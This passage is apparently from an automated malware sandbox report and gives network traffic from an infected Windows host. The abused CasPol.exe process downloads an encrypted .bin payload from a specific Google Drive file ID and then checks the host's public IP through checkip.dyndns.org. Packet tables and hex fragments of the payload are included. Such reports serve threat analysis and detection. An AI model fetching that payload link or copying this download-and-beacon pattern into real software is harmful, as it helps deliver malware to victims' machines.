Mar 20, 2023 11:38:24.781755924 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.781830072 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.781840086 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.781847000 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.782031059 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.782613039 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.782680035 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.782797098 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.782830000 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.782836914 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.783027887 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.783548117 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.783724070 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.783730984 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.783808947 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.783885002 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.783907890 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.784018993 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.784080029 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.784145117 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.784246922 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.784308910 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.784343004 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.784356117 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.784415007 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.784576893 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.784585953 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.784720898 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.785075903 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.785211086 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.785259008 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.785269976 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.785278082 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.785415888 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.785547972 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.785923958 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.786046982 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.786093950 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.786261082 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.786267996 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.786453009 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.786700010 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.786798954 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.786942959 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.786952019 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.787029028 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.787054062 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.787090063 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.787095070 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.787223101 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.787276983 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.787738085 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.787878036 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.787897110 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.787915945 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.788013935 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.788013935 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.788029909 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.788220882 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.788227081 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.788366079 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.788670063 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.788878918 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.788886070 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.788892984 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.789041996 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.789045095 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.789053917 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.789258957 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.789437056 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.789582968 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.789608002 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.789618969 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.789664030 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.789768934 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.789779902 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.789865971 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.789975882 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.790246964 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.790406942 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.790446997 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.790452957 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.790458918 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.790509939 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.790575027 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.790688038 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.790735006 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.790882111 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.790980101 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.790987968 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:25.763247013 CET	49797	80	192.168.11.20	132.226.8.169
Mar 20, 2023 11:38:26.058407068 CET	80	49797	132.226.8.169	192.168.11.20
Mar 20, 2023 11:38:26.058630943 CET	49797	80	192.168.11.20	132.226.8.169
Mar 20, 2023 11:38:26.059782982 CET	49797	80	192.168.11.20	132.226.8.169
Mar 20, 2023 11:38:26.357271910 CET	80	49797	132.226.8.169	192.168.11.20
Mar 20, 2023 11:38:26.413085938 CET	49797	80	192.168.11.20	132.226.8.169
Mar 20, 2023 11:39:14.127078056 CET	49797	80	192.168.11.20	132.226.8.169

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2023 11:38:23.833991051 CET	56064	53	192.168.11.20	1.1.1.1
Mar 20, 2023 11:38:23.843310118 CET	53	56064	1.1.1.1	192.168.11.20
Mar 20, 2023 11:38:24.408962011 CET	62882	53	192.168.11.20	1.1.1.1
Mar 20, 2023 11:38:24.441703081 CET	53	62882	1.1.1.1	192.168.11.20
Mar 20, 2023 11:38:25.747843027 CET	57056	53	192.168.11.20	1.1.1.1
Mar 20, 2023 11:38:25.758192062 CET	53	57056	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 20, 2023 11:38:23.833991051 CET	192.168.11.20	1.1.1.1	0xeecd	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Mar 20, 2023 11:38:24.408962011 CET	192.168.11.20	1.1.1.1	0x7425	Standard query (0)	doc-08-as-docs.googleusercontent.com	A (IP address)	IN (0x0001)	false
Mar 20, 2023 11:38:25.747843027 CET	192.168.11.20	1.1.1.1	0xb072	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 20, 2023 11:38:23.843310118 CET	1.1.1.1	192.168.11.20	0xeecd	No error (0)	drive.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Mar 20, 2023 11:38:24.441703081 CET	1.1.1.1	192.168.11.20	0x7425	No error (0)	doc-08-as-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 20, 2023 11:38:24.441703081 CET	1.1.1.1	192.168.11.20	0x7425	No error (0)	googlehosted.l.googleusercontent.com		142.250.184.193	A (IP address)	IN (0x0001)	false
Mar 20, 2023 11:38:25.758192062 CET	1.1.1.1	192.168.11.20	0xb072	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 20, 2023 11:38:25.758192062 CET	1.1.1.1	192.168.11.20	0xb072	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Mar 20, 2023 11:38:25.758192062 CET	1.1.1.1	192.168.11.20	0xb072	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Mar 20, 2023 11:38:25.758192062 CET	1.1.1.1	192.168.11.20	0xb072	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Mar 20, 2023 11:38:25.758192062 CET	1.1.1.1	192.168.11.20	0xb072	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Mar 20, 2023 11:38:25.758192062 CET	1.1.1.1	192.168.11.20	0xb072	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

doc-08-as-docs.googleusercontent.com

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49795	142.250.185.110	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49796	142.250.184.193	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.11.20	49797	132.226.8.169	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 11:38:26.059782982 CET	270	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 20, 2023 11:38:26.357271910 CET	270	IN	HTTP/1.1 200 OK Date: Mon, 20 Mar 2023 10:38:26 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 34 2e 31 37 2e 35 32 2e 33 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 84.17.52.35</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49795	142.250.185.110	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-20 10:38:23 UTC	0	OUT	GET /uc?export=download&id=1z2zMikfPb67TZJIo_lB5FRH6cO_UKsr4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2023-03-20 10:38:24 UTC	0	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 20 Mar 2023 10:38:24 GMT Location: https://doc-08-as-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/19pk727cbroendti715a9k7i4jfb9nau/1679308650000/13380849351983225481//1z2zMikfPb67TZJIo_lB5FRH6cO_UKsr4?e=download&uuid=a39e1756-09be-48bf-9f6c-3bbe22c32c5b Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-lzosgA_YnuCfm5UkYiMlfQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49796	142.250.184.193	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-20 10:38:24 UTC	1	OUT	GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/19pk727cbroendti715a9k7i4jfb9nau/1679308650000/13380849351983225481/*/1z2zMikfPb67TZJIo_lB5FRH6cO_UKsr4?e=download&uuid=a39e1756-09be-48bf-9f6c-3bbe22c32c5b HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Cache-Control: no-cache Host: doc-08-as-docs.googleusercontent.com Connection: Keep-Alive
2023-03-20 10:38:24 UTC	1	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycdtd341dc7VULdNnFhjsU9y8_OIk6GqTLqPj3cDOeevdJ2PF0i4z1ENqmCxp9QZWLcII6Gutx8kv4tuZil6K2r1IuQ Content-Type: application/octet-stream Content-Disposition: attachment; filename="TwdcphnCOeDFddpLXQ103.bin"; filename=UTF-8''TwdcphnCOeDFddpLXQ103.bin Access-Control-Allow-Origin: Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-467253834-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, x-goog-ext-477772811-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Request-Time, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-Bootstrap-Logged-In, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-Interop-Cohorts, X-Goog-Meeting-Interop-Type, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-ViewerInfo, X-Goog-Meeting-Viewer-Token, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-environment, x-goog-greenenergyuserappservice-metadata, x-goog-sherlog-context, X-Server-Token Access-Control-Allow-Methods: GET,HEAD,OPTIONS Content-Length: 130624 Date: Mon, 20 Mar 2023 10:38:24 GMT Expires: Mon, 20 Mar 2023 10:38:24 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=QmHVIw== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-03-20 10:38:24 UTC	5	IN	Data Raw: 24 aa 98 65 c7 95 dd e5 e3 a1 78 08 1f 85 c3 f5 24 06 2e 63 0a 01 c4 f2 15 6f 5a 13 66 77 08 b7 1d 4b 83 d8 07 73 ec 6b a2 c5 73 9a 2e 28 fb 72 bb 24 99 da b3 3f 0d bc dc 04 80 e2 c1 1c 77 fc 57 0a 3f e7 97 9c 2c 84 57 71 00 b5 93 ef cc 9c 44 1a 57 b4 e0 e4 50 4e 6f 3b 72 8b 76 3a dd d8 db 28 4b 00 a1 a6 3c ae 1a 76 9b b9 0f 83 48 75 68 83 36 34 55 fc ed d9 b4 42 ec 0b 19 6e 84 3e d8 e1 c5 40 75 5f a9 32 fa b3 00 9a a0 39 7d 1a 40 c8 d2 36 62 03 d5 57 98 e9 9f 1b ae 7d ae 34 0d dc 8d f4 5b 33 92 42 fb 29 1d 44 32 b1 ed 01 5b 03 e5 76 3a d8 a7 20 4d 92 f1 35 df 2a 83 cd c6 de 9f a9 0f b7 a4 26 65 41 95 bf e1 5c b5 57 e2 3b b7 a2 1a 54 cb a4 1f 1d fd 9d e1 7c cc fa 35 5c c3 4e aa 9a c8 01 59 9a cd ee 94 38 ce 7d 42 0d d6 fe 2b dd f6 9f 13 8a 60 43 f7 a3 a5 Data Ascii: $ex$.coZfwKsks.(r$?wW?,WqDWPNo;rv:(K<vHuh64UBn>@u_29}@6bW}4[3B)D2[v: M5*&eA\W;T\|5\NY8}B+`C
2023-03-20 10:38:24 UTC	9	IN	Data Raw: 61 c4 19 dd cf 39 42 cc 47 1a 82 68 dd f0 25 7a 23 0d bb e3 05 82 ba cd c1 6d ed f5 b4 18 34 00 40 58 52 69 8f 69 32 ff ac 40 7d 3c 32 d9 ce 34 92 2e d0 2d 2c 84 fc 85 2d 8b 65 44 04 04 0c d2 1c 4a b4 2c 5f 2d 4d fc 09 78 b7 1b 57 04 0c d4 7e b4 96 8c 07 a1 ce 68 81 85 8b 5f 7d d5 e4 0f 90 92 89 7c f6 be 8b b7 64 4e 20 06 db a7 51 01 e7 09 f2 fc fa e0 db 79 e1 d1 71 29 20 26 f2 6d e4 60 7c 30 91 6b c0 bb 89 77 17 89 4a 74 b9 5c 8b f1 6a df f0 7f e5 be 78 24 a5 c9 64 51 40 7f 2c 1d ec 12 28 db 49 1e 99 aa f3 5c 65 8e 1e c8 20 ea f6 e6 b1 18 d5 ed f6 79 59 a7 cc 81 fe 71 4a 37 4a eb 46 72 79 d4 1a 8c 35 94 b0 3d 47 95 ed 5d c1 12 90 1a bc ca f3 a1 06 ce 00 0a 05 33 c8 69 b4 1e de c6 f0 4e 91 3a 97 57 5a 47 b5 75 1c b2 92 fc 1a 53 a5 e4 7e 3f 10 2f 3b 78 a3 Data Ascii: a9BGh%z#m4@XRii2@}<24.-,-eDJ,_-MxW~h_}\|dN Qyq) &m`\|0kwJt\jx$dQ@,(I\e yYqJ7JFry5=G]3iN:WZGuS~?/;x
2023-03-20 10:38:24 UTC	13	IN	Data Raw: 1d c2 b9 62 2a 28 c0 6c ea 4f 2d f4 c8 17 1f 32 30 5c ea 5a f9 7c b0 f1 61 fb a3 ef ef d9 7f 66 26 52 50 0f ee 52 58 82 75 e8 54 4a e0 34 4d 9d 56 2f e2 ef 9c 47 fe e3 84 df 7d 26 b9 ef cf 5f 35 4f 0e 2b db f0 4e 7f 13 30 bf 1c 55 c1 8c 59 0c 57 fe e9 e9 b3 fc 94 84 03 f3 32 4d 9c 5b 97 d5 d8 bc 14 51 53 d1 c9 35 e2 4e f4 c6 3b 77 90 e0 bc 23 0e ed 15 9c 13 06 51 aa 8a bf 21 44 ff 8b 68 91 a6 8a b8 7e 0a fe a7 7a 5f 80 6f b7 1d 99 7d 0a 08 ce 1e 9d e2 dd 22 80 16 fa 11 ad 06 28 f7 ac 77 ec 7f b2 6c 33 6e c4 03 ac 82 73 db 85 2c 70 08 09 ac cd 9f fe eb cf c1 51 ed de b7 3a 1f 00 51 46 7d 78 8b 7e e4 ec a8 81 38 39 2b 69 10 4d 93 56 2b 3b 27 cb 99 23 2d 8b 6f 32 68 0c 31 26 91 7c c8 d3 d0 d5 40 7a f6 87 08 cc 0f fb a5 21 8c 42 25 58 f8 58 58 97 7e 61 04 a3 Data Ascii: b*(lO-20\Z\|af&RPRXuTJ4MV/G}&_5O+N0UYW2M[QS5N;w#Q!Dh~z_o}"(wl3ns,pQ:QF}x~89+iMV+;'#-o2h1&\|@z!B%XXX~a
2023-03-20 10:38:24 UTC	17	IN	Data Raw: 21 6c ac 06 23 a8 28 21 2f d0 51 a2 88 3d d4 87 48 31 c1 02 53 56 a5 ea 43 00 43 12 8c 51 97 08 43 cc 2d 3a 04 f3 1e 7a 11 51 95 1a c1 82 a6 b5 3c 5d 40 c5 9a f6 40 4b 08 0e d4 32 43 80 15 05 ce b6 ce 04 ed 60 dd e9 35 6c 89 d6 e4 7d 48 e4 ca 66 ee 81 ca 33 56 38 df fa 57 cc 7a 69 1e 4b ff 55 3c 3f e8 b3 8b Data Ascii: !l#(!/Q=H1SVCCQC-:zQ<]@@K2C`5l}Hf3V8WziKU<?
2023-03-20 10:38:24 UTC	17	IN	Data Raw: a6 f7 48 50 ac 0e ad 5c 06 f0 f4 dc 0a 57 f0 39 83 3d 53 00 6a bf a2 78 fb 50 a5 db e0 95 a0 43 33 9f 89 dd 0c b0 fe 5d 72 55 f2 ff a7 e9 56 a5 7b db 5b a1 80 c5 f2 29 a1 7f 04 d9 04 d9 cf 6a e4 20 a8 31 cc 4f 2d f0 bb af 2f 73 61 10 26 5a f9 76 b0 e0 fb aa ff a8 bc d9 7f 66 9f 4f 5f 48 bf 52 58 82 07 23 6c 4b 90 6c 8b 91 56 25 f5 35 9d 66 dc fc 84 d9 5d 35 a6 df e4 0f 13 4f 04 f5 fa f0 4e 6e 6d 00 1f 1c 51 b9 b6 ef 0c 27 e2 b3 48 a0 fc ee ba 5f f2 21 4a a5 f7 ae 2f d2 94 7b 51 4e 56 fd 32 e8 64 d1 d6 63 bf 89 f3 fc 80 2b ed 3d 2c 13 27 5b 08 be a7 7b d8 ea 8b 1e 5c 20 93 c6 50 65 5a a3 d8 70 91 1a 13 23 99 0b 82 2d c6 50 80 e2 ca 26 ef f5 db 11 a7 b5 0d c3 da 67 f5 79 ad 6d 1b ed ce 6c 03 91 7d c7 a6 af 7a 23 03 aa c7 9f e1 db cd e9 e2 ed de bd 18 03 8d Data Ascii: HP\W9=SjxPC3]rUV{[)j 1O-/sa&ZvfO_HRX#lKlV%5f]5ONnmQ'H_!J/{QNV2dc+=,'[{\ PeZp#-P&gyml}z#
2023-03-20 10:38:24 UTC	18	IN	Data Raw: 59 3e e3 ee 7f 2d 63 e4 19 8c ab 29 b0 3d 58 86 eb 5d c7 6c 9d 4a bc ce 8a 1f 19 30 00 7d b6 4d c6 63 b4 0b 56 c0 27 94 9c 26 fa 7b 71 00 b1 03 d1 cc 9c f6 1a 46 b2 92 42 46 4e 5f 13 c2 8b 76 30 af 64 cd 28 3b 28 ce a6 3c a4 75 b4 9b b9 05 83 59 73 1a ed 2c 34 25 d4 5d d9 b4 48 9e b9 8e 6e f4 16 b9 fe 7f 44 1a 28 a0 ff d1 0b 29 bd 6d 18 2f 61 2e 93 9e 46 10 6a a1 2d e8 83 cc bc cf 13 ca 48 70 ed e7 e2 bf 41 e7 26 c8 4a 62 62 19 3b be 21 3c 7d 88 61 0e ce aa 5a 17 9f f1 35 db 02 c5 cd 96 91 ed 55 55 b6 d7 55 64 9c f8 d6 8e 9b b5 57 e8 3b a6 a4 95 91 c9 a5 1e 0d a7 ef cf 8f cd 8a 4b 45 c3 4e ae b2 8e 01 27 97 bd 12 82 18 be 0e 84 2d d4 f4 44 1a b6 9f 19 aa 1e 64 f7 a1 a1 05 fd 22 86 be 18 1e 19 69 48 d1 c6 ee 3c d6 a2 fa 35 b5 a2 4e c4 66 50 07 37 8b 5d 1c Data Ascii: Y>-c)=X]lJ0}McV'&{qFBFN_v0d(;(<uYs,4%]HnD()m/a.Fj-HpA&Jbb;!<}aZ5UUUdW;KEN'-Dd"iH<5NfP7]
